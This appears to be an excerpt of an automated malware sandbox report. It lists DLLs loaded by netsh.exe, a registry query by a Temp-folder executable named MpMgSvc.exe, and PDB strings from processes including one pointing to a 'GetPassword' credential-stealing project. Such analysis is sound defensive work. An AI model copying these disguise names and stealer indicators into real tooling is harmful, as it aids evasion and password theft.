Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior

Source: C:\Windows\Temp\MpMgSvc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdbX+r+ d+_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\GetPassword-master\x64\Release\GetPassword.pdb source: MpMgSvc.exe, MpMgSvc.exe, 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Wmicc.exe, 00000037.00000000.2244665996.0000000000424000.00000008.00000001.01000000.0000000B.sdmp, Wmicc.exe, 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb8)R) D)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb'MAM 3M_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.ResourceManager\4.0.1.0\System.Resources.ResourceManager.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb* source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Debug\4.0.11.0\System.Diagnostics.Debug.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO\4.1.2.0\System.IO.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdbSHA256O source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb4)N) @)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq\4.1.2.0\System.Linq.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Drawing.Primitives\4.0.2.0\System.Drawing.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Data.Common/netfx\System.Data.Common.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.DriveInfo\4.0.2.0\System.IO.FileSystem.DriveInfo.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdbh) source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdbTn `*_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Dll1\x64\Release\Dll_X64.pdb source: exe1.bin.bak.exe, exe1.bin.bak.exe, 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, exe1.bin.bak.exe, 00000000.00000003.1630690322.0000000000621000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.ThreadPool\4.0.12.0\System.Threading.ThreadPool.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb\|( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Console\4.0.2.0\System.Console.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.EventBasedAsync\4.0.11.0\System.ComponentModel.EventBasedAsync.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdbSHA256> source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb$> 0*_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TraceSource\4.0.2.0\System.Diagnostics.TraceSource.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.UnmanagedMemoryStream\4.0.3.0\System.IO.UnmanagedMemoryStream.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Tools\4.0.1.0\System.Diagnostics.Tools.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Threading.Overlapped/netfx\System.Threading.Overlapped.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Xml/netfx\System.Runtime.Serialization.Xml.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization\4.0.11.0\System.Globalization.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdbt+ source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb\|( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Parallel\4.0.1.0\System.Linq.Parallel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Security.Cryptography.Algorithms/netfx\System.Security.Cryptography.Algorithms.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
